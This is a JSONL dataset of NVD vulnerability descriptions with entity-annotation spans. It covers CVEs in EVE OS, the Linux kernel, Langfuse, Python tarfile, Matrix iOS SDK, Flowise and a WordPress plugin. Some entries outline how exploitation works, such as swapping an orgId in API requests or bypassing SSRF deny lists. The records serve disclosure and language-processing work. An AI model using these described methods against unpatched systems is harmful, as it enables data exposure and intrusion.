{"text": "Vault Key Sealed With SHA1 PCRs\n\n\n\n\n\n\nThe measured boot solution implemented in EVE OS leans on a PCR locking mechanism.\n\nDifferent parts of the system update different PCR values in the TPM, resulting in a unique\nvalue for each PCR entry.\n\nThese PCRs are then used in order to seal/unseal a key from the TPM which is used to\nencrypt/decrypt the “vault” directory.\n\nThis “vault” directory is the most sensitive point in the system and as such, its content should\nbe protected.\n\nThis mechanism is noted in Zededa’s documentation as the “measured boot” mechanism,\ndesigned to protect said “vault”.\n\nThe code that’s responsible for generating and fetching the key from the TPM assumes that\nSHA256 PCRs are used in order to seal/unseal the key, and as such their presence is being\nchecked.\n\nThe issue here is that the key is not sealed using SHA256 PCRs, but using SHA1 PCRs.\nThis leads to several issues:\n\n• Machines that have their SHA256 PCRs enabled but SHA1 PCRs disabled, as well\nas not sealing their keys at all, meaning the “vault” is not protected from an attacker.\n\n• SHA1 is considered insecure and reduces the complexity level required to unseal the\nkey in machines which have their SHA1 PCRs enabled.\n\n\n\nAn attacker can very easily retrieve the contents of the “vault”, which will effectively render\nthe “measured boot” mechanism meaningless.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-43635"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nparisc: Fix random data corruption from exception handler\n\nThe current exception handler implementation, which assists when accessing\nuser space memory, may exhibit random data corruption if the compiler decides\nto use a different register than the specified register %r29 (defined in\nASM_EXCEPTIONTABLE_REG) for the error code. If the compiler choose another\nregister, the fault handler will nevertheless store -EFAULT into %r29 and thus\ntrash whatever this register is used for.\nLooking at the assembly I found that this happens sometimes in emulate_ldd().\n\nTo solve the issue, the easiest solution would be if it somehow is\npossible to tell the fault handler which register is used to hold the error\ncode. Using %0 or %1 in the inline assembly is not posssible as it will show\nup as e.g. %r29 (with the \"%r\" prefix), which the GNU assembler can not\nconvert to an integer.\n\nThis patch takes another, better and more flexible approach:\nWe extend the __ex_table (which is out of the execution path) by one 32-word.\nIn this word we tell the compiler to insert the assembler instruction\n\"or %r0,%r0,%reg\", where %reg references the register which the compiler\nchoosed for the error return code.\nIn case of an access failure, the fault handler finds the __ex_table entry and\ncan examine the opcode. The used register is encoded in the lowest 5 bits, and\nthe fault handler can then store -EFAULT into this register.\n\nSince we extend the __ex_table to 3 words we can't use the BUILDTIME_TABLE_SORT\nconfig option any longer.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26706"}}
{"text": "Langfuse is an open source large language model engineering platform. Starting in version 2.70.0 and prior to versions 2.95.11 and 3.124.1, in certain project membership APIs, the server trusted a user‑controlled orgId and used it in authorization checks. As a result, any authenticated user on the same Langfuse instance could enumerate names and email addresses of users in another organization if they knew the target organization’s ID. Disclosure is limited to names and email addresses of members/invitees. No customer data such as traces, prompts, or evaluations is exposed or accessible. For Langfuse Cloud, the maintainers ran a thorough investigation of access logs of the last 30 days and could not find any evidence that this vulnerability was exploited. For most self-hosting deployments, the attack surface is significantly reduced given an SSO provider is configured and email/password sign-up is disabled. In these cases, only users who authenticate via the Enterprise SSO IdP (e.g. Okta) would be able to exploit this vulnerability to access the member list, i.e. internal users getting access to a list of other internal users. In order to exploit the vulnerability, the actor must have a valid Langfuse user account within the same instance, know the target orgId, and use the request made to the API that powers the frontend membership tables, including their project/user authentication token, while changing the orgId to the target organization. Langfuse Cloud (EU, US, HIPAA) were affected until fix deployment on November 1, 2025. The maintainers reviewed the Langfuse Cloud access logs from the past 30 days and found no evidence that this vulnerability was exploited. Self-Hosted versions which contain patches include v2.95.11 for major version 2 and v3.124.1 for major version 3. There are no known workarounds. Upgrading is required to fully mitigate this issue.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-64504"}}
{"text": "Allows the extraction filter to be ignored, allowing symlink targets to point outside the destination directory, and the modification of some file metadata.\n\n\nYou are affected by this vulnerability if using the tarfile module to extract untrusted tar archives using TarFile.extractall() or TarFile.extract() using the filter= parameter with a value of \"data\" or \"tar\". See the tarfile  extraction filters documentation https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter  for more information.\n\nNote that for Python 3.14 or later the default value of filter= changed from \"no filtering\" to `\"data\", so if you are relying on this new default behavior then your usage is also affected.\n\nNote that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it's important to avoid installing source distributions with suspicious links.", "spans": {"URL: https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter": [[419, 491]], "SYSTEM: Python": [[530, 536]], "VULNERABILITY: code execution": [[879, 893]], "VULNERABILITY: symlink": [[53, 60]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-4138"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncodetag: debug: handle existing CODETAG_EMPTY in mark_objexts_empty for slabobj_ext\n\nWhen alloc_slab_obj_exts() fails and then later succeeds in allocating a\nslab extension vector, it calls handle_failed_objexts_alloc() to mark all\nobjects in the vector as empty.  As a result all objects in this slab\n(slabA) will have their extensions set to CODETAG_EMPTY.\n\nLater on if this slabA is used to allocate a slabobj_ext vector for\nanother slab (slabB), we end up with the slabB->obj_exts pointing to a\nslabobj_ext vector that itself has a non-NULL slabobj_ext equal to\nCODETAG_EMPTY.  When slabB gets freed, free_slab_obj_exts() is called to\nfree slabB->obj_exts vector.  \n\nfree_slab_obj_exts() calls mark_objexts_empty(slabB->obj_exts) which will\ngenerate a warning because it expects slabobj_ext vectors to have a NULL\nobj_ext, not CODETAG_EMPTY.\n\nModify mark_objexts_empty() to skip the warning and setting the obj_ext\nvalue if it's already set to CODETAG_EMPTY.\n\n\nTo quickly detect this WARN, I modified the code from\nWARN_ON(slab_exts[offs].ref.ct) to BUG_ON(slab_exts[offs].ref.ct == 1);\n\nWe then obtained this message:\n\n[21630.898561] ------------[ cut here ]------------\n[21630.898596] kernel BUG at mm/slub.c:2050!\n[21630.898611] Internal error: Oops - BUG: 00000000f2000800 [#1] SMP\n[21630.900372] Modules linked in: squashfs isofs vfio_iommu_type1 \nvhost_vsock vfio vhost_net vmw_vsock_virtio_transport_common vhost tap \nvhost_iotlb iommufd vsock binfmt_misc nfsv3 nfs_acl nfs lockd grace \nnetfs tls rds dns_resolver tun brd overlay ntfs3 exfat btrfs \nblake2b_generic xor xor_neon raid6_pq loop sctp ip6_udp_tunnel \nudp_tunnel nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib \nnft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct \nnft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 \nnf_tables rfkill ip_set sunrpc vfat fat joydev sg sch_fq_codel nfnetlink \nvirtio_gpu sr_mod cdrom drm_client_lib virtio_dma_buf drm_shmem_helper \ndrm_kms_helper drm ghash_ce backlight virtio_net virtio_blk virtio_scsi \nnet_failover virtio_console failover virtio_mmio dm_mirror \ndm_region_hash dm_log dm_multipath dm_mod fuse i2c_dev virtio_pci \nvirtio_pci_legacy_dev virtio_pci_modern_dev virtio virtio_ring autofs4 \naes_neon_bs aes_ce_blk [last unloaded: hwpoison_inject]\n[21630.909177] CPU: 3 UID: 0 PID: 3787 Comm: kylin-process-m Kdump: \nloaded Tainted: G        W           6.18.0-rc1+ #74 PREEMPT(voluntary)\n[21630.910495] Tainted: [W]=WARN\n[21630.910867] Hardware name: QEMU KVM Virtual Machine, BIOS unknown \n2/2/2022\n[21630.911625] pstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS \nBTYPE=--)\n[21630.912392] pc : __free_slab+0x228/0x250\n[21630.912868] lr : __free_slab+0x18c/0x250[21630.913334] sp : \nffff8000a02f73e0\n[21630.913830] x29: ffff8000a02f73e0 x28: fffffdffc43fc800 x27: \nffff0000c0011c40\n[21630.914677] x26: ffff0000c000cac0 x25: ffff00010fe5e5f0 x24: \nffff000102199b40\n[21630.915469] x23: 0000000000000003 x22: 0000000000000003 x21: \nffff0000c0011c40\n[21630.916259] x20: fffffdffc4086600 x19: fffffdffc43fc800 x18: \n0000000000000000\n[21630.917048] x17: 0000000000000000 x16: 0000000000000000 x15: \n0000000000000000\n[21630.917837] x14: 0000000000000000 x13: 0000000000000000 x12: \nffff70001405ee66\n[21630.918640] x11: 1ffff0001405ee65 x10: ffff70001405ee65 x9 : \nffff800080a295dc\n[21630.919442] x8 : ffff8000a02f7330 x7 : 0000000000000000 x6 : \n0000000000003000\n[21630.920232] x5 : 0000000024924925 x4 : 0000000000000001 x3 : \n0000000000000007\n[21630.921021] x2 : 0000000000001b40 x1 : 000000000000001f x0 : \n0000000000000001\n[21630.921810] Call trace:\n[21630.922130]  __free_slab+0x228/0x250 (P)\n[21630.922669]  free_slab+0x38/0x118\n[21630.923079]  free_to_partial_list+0x1d4/0x340\n[21630.923591]  __slab_free+0x24c/0x348\n[21630.924024]  ___cache_free+0xf0/0x110\n[21630.924468]  qlist_free_all+0x78/0x130\n[21630.924922]  kasan_quarantine_reduce+0x11\n---truncated---", "spans": {"FILEPATH: /2/2022": [[2601, 2608]], "FILEPATH: slub.c": [[1277, 1283]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[2560, 2564]], "SYSTEM: KVM": [[2565, 2568]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68199"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath12k: Avoid memory leak while enabling statistics\n\nDriver uses monitor destination rings for extended statistics mode and\nstandalone monitor mode. In extended statistics mode, TLVs are parsed from\nthe buffer received from the monitor destination ring and assigned to the\nppdu_info structure to update per-packet statistics. In standalone monitor\nmode, along with per-packet statistics, the packet data (payload) is\ncaptured, and the driver updates per MSDU to mac80211.\n\nWhen the AP interface is enabled, only extended statistics mode is\nactivated. As part of enabling monitor rings for collecting statistics,\nthe driver subscribes to HAL_RX_MPDU_START TLV in the filter\nconfiguration. This TLV is received from the monitor destination ring, and\nkzalloc for the mon_mpdu object occurs, which is not freed, leading to a\nmemory leak. The kzalloc for the mon_mpdu object is only required while\nenabling the standalone monitor interface. This causes a memory leak while\nenabling extended statistics mode in the driver.\n\nFix this memory leak by removing the kzalloc for the mon_mpdu object in\nthe HAL_RX_MPDU_START TLV handling. Additionally, remove the standalone\nmonitor mode handlings in the HAL_MON_BUF_ADDR and HAL_RX_MSDU_END TLVs.\nThese TLV tags will be handled properly when enabling standalone monitor\nmode in the future.\n\nTested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.3.1-00173-QCAHKSWPL_SILICONZ-1\nTested-on: WCN7850 hw2.0 PCI WLAN.HMT.1.0.c5-00481-QCAHMTSWPL_V1.0_V2.0_SILICONZ-3", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[89, 100], [896, 907], [1025, 1036], [1102, 1113]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37743"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/pci: Skip to handle RAS errors if CXL.mem device is detached\n\nThe PCI AER model is an awkward fit for CXL error handling. While the\nexpectation is that a PCI device can escalate to link reset to recover\nfrom an AER event, the same reset on CXL amounts to a surprise memory\nhotplug of massive amounts of memory.\n\nAt present, the CXL error handler attempts some optimistic error\nhandling to unbind the device from the cxl_mem driver after reaping some\nRAS register values. This results in a \"hopeful\" attempt to unplug the\nmemory, but there is no guarantee that will succeed.\n\nA subsequent AER notification after the memdev unbind event can no\nlonger assume the registers are mapped. Check for memdev bind before\nreaping status register values to avoid crashes of the form:\n\n BUG: unable to handle page fault for address: ffa00000195e9100\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n [...]\n RIP: 0010:__cxl_handle_ras+0x30/0x110 [cxl_core]\n [...]\n Call Trace:\n  <TASK>\n  ? __die+0x24/0x70\n  ? page_fault_oops+0x82/0x160\n  ? kernelmode_fixup_or_oops+0x84/0x110\n  ? exc_page_fault+0x113/0x170\n  ? asm_exc_page_fault+0x26/0x30\n  ? __pfx_dpc_reset_link+0x10/0x10\n  ? __cxl_handle_ras+0x30/0x110 [cxl_core]\n  ? find_cxl_port+0x59/0x80 [cxl_core]\n  cxl_handle_rp_ras+0xbc/0xd0 [cxl_core]\n  cxl_error_detected+0x6c/0xf0 [cxl_core]\n  report_error_detected+0xc7/0x1c0\n  pci_walk_bus+0x73/0x90\n  pcie_do_recovery+0x23f/0x330\n\nLonger term, the unbind and PCI_ERS_RESULT_DISCONNECT behavior might\nneed to be replaced with a new PCI_ERS_RESULT_PANIC.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26762"}}
{"text": "Matrix iOS SDK allows developers to build iOS apps compatible with Matrix. Prior to version 0.23.19, an attacker cooperating with a malicious homeserver can construct messages that legitimately appear to have come from another person, without any indication such as a grey shield. Additionally, a sophisticated attacker cooperating with a malicious homeserver could employ this vulnerability to perform a targeted attack in order to send fake to-device messages appearing to originate from another user. This can allow, for example, to inject the key backup secret during a self-verification, to make a targeted device start using a malicious key backup spoofed by the homeserver. These attacks are possible due to a protocol confusion vulnerability that accepts to-device messages encrypted with Megolm instead of Olm. matrix-ios-sdk version 0.23.19 has been modified to only accept Olm-encrypted to-device messages. Out of caution, several other checks have been audited or added. This attack requires coordination between a malicious home server and an attacker, so those who trust their home servers do not need a workaround. To avoid malicious backup attacks, one should not verify one's new logins using emoji/QR verifications methods until patched.", "spans": {"SYSTEM: iOS": [[7, 10], [42, 45]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39255"}}
{"text": "Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, a Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services) This vulnerability is fixed in 3.1.0.", "spans": {"FILEPATH: Node.js": [[330, 337]], "VULNERABILITY: Server-Side Request Forgery": [[107, 134]], "VULNERABILITY: SSRF": [[136, 140], [246, 250], [474, 478]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-41270"}}
{"text": "nLight ECLYPSE (nECY) system Controllers running software prior to 1.17.21245.754 contain a default key vulnerability. The nECY does not force a change to the key upon the initial configuration of an affected device. nECY system controllers utilize an encrypted channel to secure SensorViewTM configuration and monitoring software and nECY to nECY communications. Impacted devices are at risk of exploitation. A remote attacker with IP access to an impacted device could submit lighting control commands to the nECY by leveraging the default key. A successful attack may result in the attacker gaining the ability to modify lighting conditions or gain the ability to update the software on lighting devices. The impacted key is referred to as the SensorView Password in the nECY nLight Explorer Interface and the Gateway Password in the SensorView application. An attacker cannot authenticate to or modify the configuration or software of the nECY system controller.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-40825"}}
{"text": "Vulnerability in the Oracle Email Center product of Oracle E-Business Suite (component: Customer Search). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Email Center. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Email Center, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Email Center accessible data as well as unauthorized update, insert or delete access to some of Oracle Email Center accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [52, 58], [270, 276], [408, 414], [601, 607], [704, 710]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2874"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfirmware: xilinx: don't make a sleepable memory allocation from an atomic context\n\nThe following issue was discovered using lockdep:\n[    6.691371] BUG: sleeping function called from invalid context at include/linux/sched/mm.h:209\n[    6.694602] in_atomic(): 1, irqs_disabled(): 128, non_block: 0, pid: 1, name: swapper/0\n[    6.702431] 2 locks held by swapper/0/1:\n[    6.706300]  #0: ffffff8800f6f188 (&dev->mutex){....}-{3:3}, at: __device_driver_lock+0x4c/0x90\n[    6.714900]  #1: ffffffc009a2abb8 (enable_lock){....}-{2:2}, at: clk_enable_lock+0x4c/0x140\n[    6.723156] irq event stamp: 304030\n[    6.726596] hardirqs last  enabled at (304029): [<ffffffc008d17ee0>] _raw_spin_unlock_irqrestore+0xc0/0xd0\n[    6.736142] hardirqs last disabled at (304030): [<ffffffc00876bc5c>] clk_enable_lock+0xfc/0x140\n[    6.744742] softirqs last  enabled at (303958): [<ffffffc0080904f0>] _stext+0x4f0/0x894\n[    6.752655] softirqs last disabled at (303951): [<ffffffc0080e53b8>] irq_exit+0x238/0x280\n[    6.760744] CPU: 1 PID: 1 Comm: swapper/0 Tainted: G     U            5.15.36 #2\n[    6.768048] Hardware name: xlnx,zynqmp (DT)\n[    6.772179] Call trace:\n[    6.774584]  dump_backtrace+0x0/0x300\n[    6.778197]  show_stack+0x18/0x30\n[    6.781465]  dump_stack_lvl+0xb8/0xec\n[    6.785077]  dump_stack+0x1c/0x38\n[    6.788345]  ___might_sleep+0x1a8/0x2a0\n[    6.792129]  __might_sleep+0x6c/0xd0\n[    6.795655]  kmem_cache_alloc_trace+0x270/0x3d0\n[    6.800127]  do_feature_check_call+0x100/0x220\n[    6.804513]  zynqmp_pm_invoke_fn+0x8c/0xb0\n[    6.808555]  zynqmp_pm_clock_getstate+0x90/0xe0\n[    6.813027]  zynqmp_pll_is_enabled+0x8c/0x120\n[    6.817327]  zynqmp_pll_enable+0x38/0xc0\n[    6.821197]  clk_core_enable+0x144/0x400\n[    6.825067]  clk_core_enable+0xd4/0x400\n[    6.828851]  clk_core_enable+0xd4/0x400\n[    6.832635]  clk_core_enable+0xd4/0x400\n[    6.836419]  clk_core_enable+0xd4/0x400\n[    6.840203]  clk_core_enable+0xd4/0x400\n[    6.843987]  clk_core_enable+0xd4/0x400\n[    6.847771]  clk_core_enable+0xd4/0x400\n[    6.851555]  clk_core_enable_lock+0x24/0x50\n[    6.855683]  clk_enable+0x24/0x40\n[    6.858952]  fclk_probe+0x84/0xf0\n[    6.862220]  platform_probe+0x8c/0x110\n[    6.865918]  really_probe+0x110/0x5f0\n[    6.869530]  __driver_probe_device+0xcc/0x210\n[    6.873830]  driver_probe_device+0x64/0x140\n[    6.877958]  __driver_attach+0x114/0x1f0\n[    6.881828]  bus_for_each_dev+0xe8/0x160\n[    6.885698]  driver_attach+0x34/0x50\n[    6.889224]  bus_add_driver+0x228/0x300\n[    6.893008]  driver_register+0xc0/0x1e0\n[    6.896792]  __platform_driver_register+0x44/0x60\n[    6.901436]  fclk_driver_init+0x1c/0x28\n[    6.905220]  do_one_initcall+0x104/0x590\n[    6.909091]  kernel_init_freeable+0x254/0x2bc\n[    6.913390]  kernel_init+0x24/0x130\n[    6.916831]  ret_from_fork+0x10/0x20\n\nFix it by passing the GFP_ATOMIC gfp flag for the corresponding\nmemory allocation.", "spans": {"FILEPATH: /linux/sched/mm.h": [[278, 295]], "FILEPATH: /0/1": [[429, 433]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53099"}}
{"text": "The Simple:Press – WordPress Forum Plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ~/admin/resources/jscript/ajaxupload/sf-uploader.php file in versions up to, and including, 6.6.0. This makes it possible for attackers to upload arbitrary files on the affected sites server which may make remote code execution possible.", "spans": {"FILEPATH: /admin/resources/jscript/ajaxupload/sf-uploader.php": [[140, 191]], "SYSTEM: WordPress": [[19, 28], [46, 55]], "VULNERABILITY: remote code execution": [[345, 366]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36706"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: BPF: Sign-extend struct ops return values properly\n\nThe ns_bpf_qdisc selftest triggers a kernel panic:\n\n  Oops[#1]:\n  CPU 0 Unable to handle kernel paging request at virtual address 0000000000741d58, era == 90000000851b5ac0, ra == 90000000851b5aa4\n  CPU: 0 UID: 0 PID: 449 Comm: test_progs Tainted: G           OE       6.16.0+ #3 PREEMPT(full)\n  Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE\n  Hardware name: QEMU QEMU Virtual Machine, BIOS unknown 2/2/2022\n  pc 90000000851b5ac0 ra 90000000851b5aa4 tp 90000001076b8000 sp 90000001076bb600\n  a0 0000000000741ce8 a1 0000000000000001 a2 90000001076bb5c0 a3 0000000000000008\n  a4 90000001004c4620 a5 9000000100741ce8 a6 0000000000000000 a7 0100000000000000\n  t0 0000000000000010 t1 0000000000000000 t2 9000000104d24d30 t3 0000000000000001\n  t4 4f2317da8a7e08c4 t5 fffffefffc002f00 t6 90000001004c4620 t7 ffffffffc61c5b3d\n  t8 0000000000000000 u0 0000000000000001 s9 0000000000000050 s0 90000001075bc800\n  s1 0000000000000040 s2 900000010597c400 s3 0000000000000008 s4 90000001075bc880\n  s5 90000001075bc8f0 s6 0000000000000000 s7 0000000000741ce8 s8 0000000000000000\n     ra: 90000000851b5aa4 __qdisc_run+0xac/0x8d8\n    ERA: 90000000851b5ac0 __qdisc_run+0xc8/0x8d8\n   CRMD: 000000b0 (PLV0 -IE -DA +PG DACF=CC DACM=CC -WE)\n   PRMD: 00000004 (PPLV0 +PIE -PWE)\n   EUEN: 00000007 (+FPE +SXE +ASXE -BTE)\n   ECFG: 00071c1d (LIE=0,2-4,10-12 VS=7)\n  ESTAT: 00010000 [PIL] (IS= ECode=1 EsubCode=0)\n   BADV: 0000000000741d58\n   PRID: 0014c010 (Loongson-64bit, Loongson-3A5000)\n  Modules linked in: bpf_testmod(OE) [last unloaded: bpf_testmod(OE)]\n  Process test_progs (pid: 449, threadinfo=000000009af02b3a, task=00000000e9ba4956)\n  Stack : 0000000000000000 90000001075bc8ac 90000000869524a8 9000000100741ce8\n          90000001075bc800 9000000100415300 90000001075bc8ac 0000000000000000\n          900000010597c400 900000008694a000 0000000000000000 9000000105b59000\n          90000001075bc800 9000000100741ce8 0000000000000050 900000008513000c\n          9000000086936000 0000000100094d4c fffffff400676208 0000000000000000\n          9000000105b59000 900000008694a000 9000000086bf0dc0 9000000105b59000\n          9000000086bf0d68 9000000085147010 90000001075be788 0000000000000000\n          9000000086bf0f98 0000000000000001 0000000000000010 9000000006015840\n          0000000000000000 9000000086be6c40 0000000000000000 0000000000000000\n          0000000000000000 4f2317da8a7e08c4 0000000000000101 4f2317da8a7e08c4\n          ...\n  Call Trace:\n  [<90000000851b5ac0>] __qdisc_run+0xc8/0x8d8\n  [<9000000085130008>] __dev_queue_xmit+0x578/0x10f0\n  [<90000000853701c0>] ip6_finish_output2+0x2f0/0x950\n  [<9000000085374bc8>] ip6_finish_output+0x2b8/0x448\n  [<9000000085370b24>] ip6_xmit+0x304/0x858\n  [<90000000853c4438>] inet6_csk_xmit+0x100/0x170\n  [<90000000852b32f0>] __tcp_transmit_skb+0x490/0xdd0\n  [<90000000852b47fc>] tcp_connect+0xbcc/0x1168\n  [<90000000853b9088>] tcp_v6_connect+0x580/0x8a0\n  [<90000000852e7738>] __inet_stream_connect+0x170/0x480\n  [<90000000852e7a98>] inet_stream_connect+0x50/0x88\n  [<90000000850f2814>] __sys_connect+0xe4/0x110\n  [<90000000850f2858>] sys_connect+0x18/0x28\n  [<9000000085520c94>] do_syscall+0x94/0x1a0\n  [<9000000083df1fb8>] handle_syscall+0xb8/0x158\n\n  Code: 4001ad80  2400873f  2400832d <240073cc> 001137ff  001133ff  6407b41f  001503cc  0280041d\n\n  ---[ end trace 0000000000000000 ]---\n\nThe bpf_fifo_dequeue prog returns a skb which is a pointer. The pointer\nis treated as a 32bit value and sign extend to 64bit in epilogue. This\nbehavior is right for most bpf prog types but wrong for struct ops which\nrequires LoongArch ABI.\n\nSo let's sign extend struct ops return values according to the LoongArch\nABI ([1]) and return value spec in function model.\n\n[1]: https://loongson.github.io/LoongArch-Documentation/LoongArch-ELF-ABI-EN.html", "spans": {"URL: https://loongson.github.io/LoongArch-Documentation/LoongArch-ELF-ABI-EN.html": [[3815, 3891]], "FILEPATH: /2/2022": [[530, 537]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[489, 493], [494, 498]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40041"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: Do not use WQ_MEM_RECLAIM flag for workqueue\n\nIssue reported by customer during SRIOV testing, call trace:\nWhen both i40e and the i40iw driver are loaded, a warning\nin check_flush_dependency is being triggered. This seems\nto be because of the i40e driver workqueue is allocated with\nthe WQ_MEM_RECLAIM flag, and the i40iw one is not.\n\nSimilar error was encountered on ice too and it was fixed by\nremoving the flag. Do the same for i40e too.\n\n[Feb 9 09:08] ------------[ cut here ]------------\n[  +0.000004] workqueue: WQ_MEM_RECLAIM i40e:i40e_service_task [i40e] is\nflushing !WQ_MEM_RECLAIM infiniband:0x0\n[  +0.000060] WARNING: CPU: 0 PID: 937 at kernel/workqueue.c:2966\ncheck_flush_dependency+0x10b/0x120\n[  +0.000007] Modules linked in: snd_seq_dummy snd_hrtimer snd_seq\nsnd_timer snd_seq_device snd soundcore nls_utf8 cifs cifs_arc4\nnls_ucs2_utils rdma_cm iw_cm ib_cm cifs_md4 dns_resolver netfs qrtr\nrfkill sunrpc vfat fat intel_rapl_msr intel_rapl_common irdma\nintel_uncore_frequency intel_uncore_frequency_common ice ipmi_ssif\nisst_if_common skx_edac nfit libnvdimm x86_pkg_temp_thermal\nintel_powerclamp gnss coretemp ib_uverbs rapl intel_cstate ib_core\niTCO_wdt iTCO_vendor_support acpi_ipmi mei_me ipmi_si intel_uncore\nioatdma i2c_i801 joydev pcspkr mei ipmi_devintf lpc_ich\nintel_pch_thermal i2c_smbus ipmi_msghandler acpi_power_meter acpi_pad\nxfs libcrc32c ast sd_mod drm_shmem_helper t10_pi drm_kms_helper sg ixgbe\ndrm i40e ahci crct10dif_pclmul libahci crc32_pclmul igb crc32c_intel\nlibata ghash_clmulni_intel i2c_algo_bit mdio dca wmi dm_mirror\ndm_region_hash dm_log dm_mod fuse\n[  +0.000050] CPU: 0 PID: 937 Comm: kworker/0:3 Kdump: loaded Not\ntainted 6.8.0-rc2-Feb-net_dev-Qiueue-00279-gbd43c5687e05 #1\n[  +0.000003] Hardware name: Intel Corporation S2600BPB/S2600BPB, BIOS\nSE5C620.86B.02.01.0013.121520200651 12/15/2020\n[  +0.000001] Workqueue: i40e i40e_service_task [i40e]\n[  +0.000024] RIP: 0010:check_flush_dependency+0x10b/0x120\n[  +0.000003] Code: ff 49 8b 54 24 18 48 8d 8b b0 00 00 00 49 89 e8 48\n81 c6 b0 00 00 00 48 c7 c7 b0 97 fa 9f c6 05 8a cc 1f 02 01 e8 35 b3 fd\nff <0f> 0b e9 10 ff ff ff 80 3d 78 cc 1f 02 00 75 94 e9 46 ff ff ff 90\n[  +0.000002] RSP: 0018:ffffbd294976bcf8 EFLAGS: 00010282\n[  +0.000002] RAX: 0000000000000000 RBX: ffff94d4c483c000 RCX:\n0000000000000027\n[  +0.000001] RDX: ffff94d47f620bc8 RSI: 0000000000000001 RDI:\nffff94d47f620bc0\n[  +0.000001] RBP: 0000000000000000 R08: 0000000000000000 R09:\n00000000ffff7fff\n[  +0.000001] R10: ffffbd294976bb98 R11: ffffffffa0be65e8 R12:\nffff94c5451ea180\n[  +0.000001] R13: ffff94c5ab5e8000 R14: ffff94c5c20b6e05 R15:\nffff94c5f1330ab0\n[  +0.000001] FS:  0000000000000000(0000) GS:ffff94d47f600000(0000)\nknlGS:0000000000000000\n[  +0.000002] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  +0.000001] CR2: 00007f9e6f1fca70 CR3: 0000000038e20004 CR4:\n00000000007706f0\n[  +0.000000] DR0: 0000000000000000 DR1: 0000000000000000 DR2:\n0000000000000000\n[  +0.000001] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:\n0000000000000400\n[  +0.000001] PKRU: 55555554\n[  +0.000001] Call Trace:\n[  +0.000001]  <TASK>\n[  +0.000002]  ? __warn+0x80/0x130\n[  +0.000003]  ? check_flush_dependency+0x10b/0x120\n[  +0.000002]  ? report_bug+0x195/0x1a0\n[  +0.000005]  ? handle_bug+0x3c/0x70\n[  +0.000003]  ? exc_invalid_op+0x14/0x70\n[  +0.000002]  ? asm_exc_invalid_op+0x16/0x20\n[  +0.000006]  ? check_flush_dependency+0x10b/0x120\n[  +0.000002]  ? check_flush_dependency+0x10b/0x120\n[  +0.000002]  __flush_workqueue+0x126/0x3f0\n[  +0.000015]  ib_cache_cleanup_one+0x1c/0xe0 [ib_core]\n[  +0.000056]  __ib_unregister_device+0x6a/0xb0 [ib_core]\n[  +0.000023]  ib_unregister_device_and_put+0x34/0x50 [ib_core]\n[  +0.000020]  i40iw_close+0x4b/0x90 [irdma]\n[  +0.000022]  i40e_notify_client_of_netdev_close+0x54/0xc0 [i40e]\n[  +0.000035]  i40e_service_task+0x126/0x190 [i40e]\n[  +0.000024]  process_one_work+0x174/0x340\n[  +0.000003]  worker_th\n---truncated---", "spans": {"FILEPATH: /15/2020": [[1903, 1911]], "FILEPATH: workqueue.c": [[730, 741]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[1823, 1828]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36004"}}
